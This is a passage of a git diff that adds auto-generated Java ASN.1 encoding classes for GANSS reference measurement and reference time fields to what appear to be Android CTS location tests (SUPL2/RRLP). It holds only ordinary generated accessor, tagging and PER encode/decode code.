+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSRefMeasurementAssist = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
new file mode 100755
index 0000000..89b2bfa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
@@ -0,0 +1,909 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSRefMeasurementElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSRefMeasurementElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSRefMeasurementElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSRefMeasurementElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSRefMeasurementElement != null) {
+ return ImmutableList.of(TAG_GANSSRefMeasurementElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSRefMeasurementElement from encoded stream.
+ */
+ public static GANSSRefMeasurementElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSSRefMeasurementElement result = new GANSSRefMeasurementElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSRefMeasurementElement from encoded stream.
+ */
+ public static GANSSRefMeasurementElement fromPerAligned(byte[] encodedBytes) {
+ GANSSRefMeasurementElement result = new GANSSRefMeasurementElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private GANSSRefMeasurementElement.doppler0Type doppler0_;
+ public GANSSRefMeasurementElement.doppler0Type getDoppler0() {
+ return doppler0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefMeasurementElement.doppler0Type
+ */
+ public void setDoppler0(Asn1Object value) {
+ this.doppler0_ = (GANSSRefMeasurementElement.doppler0Type) value;
+ }
+ public GANSSRefMeasurementElement.doppler0Type setDoppler0ToNewInstance() {
+ doppler0_ = new GANSSRefMeasurementElement.doppler0Type();
+ return doppler0_;
+ }
+
+ private AdditionalDopplerFields additionalDoppler_;
+ public AdditionalDopplerFields getAdditionalDoppler() {
+ return additionalDoppler_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AdditionalDopplerFields
+ */
+ public void setAdditionalDoppler(Asn1Object value) {
+ this.additionalDoppler_ = (AdditionalDopplerFields) value;
+ }
+ public AdditionalDopplerFields setAdditionalDopplerToNewInstance() {
+ additionalDoppler_ = new AdditionalDopplerFields();
+ return additionalDoppler_;
+ }
+
+ private GANSSRefMeasurementElement.codePhaseType codePhase_;
+ public GANSSRefMeasurementElement.codePhaseType getCodePhase() {
+ return codePhase_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefMeasurementElement.codePhaseType
+ */
+ public void setCodePhase(Asn1Object value) {
+ this.codePhase_ = (GANSSRefMeasurementElement.codePhaseType) value;
+ }
+ public GANSSRefMeasurementElement.codePhaseType setCodePhaseToNewInstance() {
+ codePhase_ = new GANSSRefMeasurementElement.codePhaseType();
+ return codePhase_;
+ }
+
+ private GANSSRefMeasurementElement.intCodePhaseType intCodePhase_;
+ public GANSSRefMeasurementElement.intCodePhaseType getIntCodePhase() {
+ return intCodePhase_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefMeasurementElement.intCodePhaseType
+ */
+ public void setIntCodePhase(Asn1Object value) {
+ this.intCodePhase_ = (GANSSRefMeasurementElement.intCodePhaseType) value;
+ }
+ public GANSSRefMeasurementElement.intCodePhaseType setIntCodePhaseToNewInstance() {
+ intCodePhase_ = new GANSSRefMeasurementElement.intCodePhaseType();
+ return intCodePhase_;
+ }
+
+ private GANSSRefMeasurementElement.codePhaseSearchWindowType codePhaseSearchWindow_;
+ public GANSSRefMeasurementElement.codePhaseSearchWindowType getCodePhaseSearchWindow() {
+ return codePhaseSearchWindow_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefMeasurementElement.codePhaseSearchWindowType
+ */
+ public void setCodePhaseSearchWindow(Asn1Object value) {
+ this.codePhaseSearchWindow_ = (GANSSRefMeasurementElement.codePhaseSearchWindowType) value;
+ }
+ public GANSSRefMeasurementElement.codePhaseSearchWindowType setCodePhaseSearchWindowToNewInstance() {
+ codePhaseSearchWindow_ = new GANSSRefMeasurementElement.codePhaseSearchWindowType();
+ return codePhaseSearchWindow_;
+ }
+
+ private AddionalAngleFields additionalAngle_;
+ public AddionalAngleFields getAdditionalAngle() {
+ return additionalAngle_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalAngleFields
+ */
+ public void setAdditionalAngle(Asn1Object value) {
+ this.additionalAngle_ = (AddionalAngleFields) value;
+ }
+ public AddionalAngleFields setAdditionalAngleToNewInstance() {
+ additionalAngle_ = new AddionalAngleFields();
+ return additionalAngle_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getDoppler0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDoppler0();
+ }
+
+ @Override public void setToNewInstance() {
+ setDoppler0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefMeasurementElement.doppler0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "doppler0 : "
+ + getDoppler0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdditionalDoppler() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdditionalDoppler();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdditionalDopplerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AdditionalDopplerFields.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "additionalDoppler : "
+ + getAdditionalDoppler().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCodePhase() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCodePhase();
+ }
+
+ @Override public void setToNewInstance() {
+ setCodePhaseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefMeasurementElement.codePhaseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "codePhase : "
+ + getCodePhase().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getIntCodePhase() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIntCodePhase();
+ }
+
+ @Override public void setToNewInstance() {
+ setIntCodePhaseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefMeasurementElement.intCodePhaseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "intCodePhase : "
+ + getIntCodePhase().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getCodePhaseSearchWindow() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCodePhaseSearchWindow();
+ }
+
+ @Override public void setToNewInstance() {
+ setCodePhaseSearchWindowToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefMeasurementElement.codePhaseSearchWindowType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "codePhaseSearchWindow : "
+ + getCodePhaseSearchWindow().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdditionalAngle() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdditionalAngle();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdditionalAngleToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalAngleFields.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "additionalAngle : "
+ + getAdditionalAngle().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class doppler0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_doppler0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public doppler0Type() {
+ super();
+ setValueRange("-2048", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_doppler0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_doppler0Type != null) {
+ return ImmutableList.of(TAG_doppler0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new doppler0Type from encoded stream.
+ */
+ public static doppler0Type fromPerUnaligned(byte[] encodedBytes) {
+ doppler0Type result = new doppler0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new doppler0Type from encoded stream.
+ */
+ public static doppler0Type fromPerAligned(byte[] encodedBytes) {
+ doppler0Type result = new doppler0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "doppler0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class codePhaseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_codePhaseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public codePhaseType() {
+ super();
+ setValueRange("0", "1022");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_codePhaseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_codePhaseType != null) {
+ return ImmutableList.of(TAG_codePhaseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new codePhaseType from encoded stream.
+ */
+ public static codePhaseType fromPerUnaligned(byte[] encodedBytes) {
+ codePhaseType result = new codePhaseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new codePhaseType from encoded stream.
+ */
+ public static codePhaseType fromPerAligned(byte[] encodedBytes) {
+ codePhaseType result = new codePhaseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "codePhaseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class intCodePhaseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_intCodePhaseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public intCodePhaseType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_intCodePhaseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_intCodePhaseType != null) {
+ return ImmutableList.of(TAG_intCodePhaseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new intCodePhaseType from encoded stream.
+ */
+ public static intCodePhaseType fromPerUnaligned(byte[] encodedBytes) {
+ intCodePhaseType result = new intCodePhaseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new intCodePhaseType from encoded stream.
+ */
+ public static intCodePhaseType fromPerAligned(byte[] encodedBytes) {
+ intCodePhaseType result = new intCodePhaseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "intCodePhaseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class codePhaseSearchWindowType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_codePhaseSearchWindowType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public codePhaseSearchWindowType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_codePhaseSearchWindowType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_codePhaseSearchWindowType != null) {
+ return ImmutableList.of(TAG_codePhaseSearchWindowType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new codePhaseSearchWindowType from encoded stream.
+ */
+ public static codePhaseSearchWindowType fromPerUnaligned(byte[] encodedBytes) {
+ codePhaseSearchWindowType result = new codePhaseSearchWindowType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new codePhaseSearchWindowType from encoded stream.
+ */
+ public static codePhaseSearchWindowType fromPerAligned(byte[] encodedBytes) {
+ codePhaseSearchWindowType result = new codePhaseSearchWindowType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "codePhaseSearchWindowType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSRefMeasurementElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
new file mode 100755
index 0000000..279bf54
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
@@ -0,0 +1,567 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSRefTimeInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSRefTimeInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSRefTimeInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSRefTimeInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSRefTimeInfo != null) {
+ return ImmutableList.of(TAG_GANSSRefTimeInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSRefTimeInfo from encoded stream.
+ */
+ public static GANSSRefTimeInfo fromPerUnaligned(byte[] encodedBytes) {
+ GANSSRefTimeInfo result = new GANSSRefTimeInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSRefTimeInfo from encoded stream.
+ */
+ public static GANSSRefTimeInfo fromPerAligned(byte[] encodedBytes) {
+ GANSSRefTimeInfo result = new GANSSRefTimeInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSRefTimeInfo.ganssDayType ganssDay_;
+ public GANSSRefTimeInfo.ganssDayType getGanssDay() {
+ return ganssDay_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefTimeInfo.ganssDayType
+ */
+ public void setGanssDay(Asn1Object value) {
+ this.ganssDay_ = (GANSSRefTimeInfo.ganssDayType) value;
+ }
+ public GANSSRefTimeInfo.ganssDayType setGanssDayToNewInstance() {
+ ganssDay_ = new GANSSRefTimeInfo.ganssDayType();
+ return ganssDay_;
+ }
+
+ private GANSSTOD ganssTOD_;
+ public GANSSTOD getGanssTOD() {
+ return ganssTOD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTOD
+ */
+ public void setGanssTOD(Asn1Object value) {
+ this.ganssTOD_ = (GANSSTOD) value;
+ }
+ public GANSSTOD setGanssTODToNewInstance() {
+ ganssTOD_ = new GANSSTOD();
+ return ganssTOD_;
+ }
+
+ private GANSSTODUncertainty ganssTODUncertainty_;
+ public GANSSTODUncertainty getGanssTODUncertainty() {
+ return ganssTODUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTODUncertainty
+ */
+ public void setGanssTODUncertainty(Asn1Object value) {
+ this.ganssTODUncertainty_ = (GANSSTODUncertainty) value;
+ }
+ public GANSSTODUncertainty setGanssTODUncertaintyToNewInstance() {
+ ganssTODUncertainty_ = new GANSSTODUncertainty();
+ return ganssTODUncertainty_;
+ }
+
+ private GANSSRefTimeInfo.ganssTimeIDType ganssTimeID_;
+ public GANSSRefTimeInfo.ganssTimeIDType getGanssTimeID() {
+ return ganssTimeID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSRefTimeInfo.ganssTimeIDType
+ */
+ public void setGanssTimeID(Asn1Object value) {
+ this.ganssTimeID_ = (GANSSRefTimeInfo.ganssTimeIDType) value;
+ }
+ public GANSSRefTimeInfo.ganssTimeIDType setGanssTimeIDToNewInstance() {
+ ganssTimeID_ = new GANSSRefTimeInfo.ganssTimeIDType();
+ return ganssTimeID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDay() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDay();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSRefTimeInfo.ganssDayType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDay : "
+ + getGanssDay().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTOD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTOD();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTOD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTOD : "
+ + getGanssTOD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
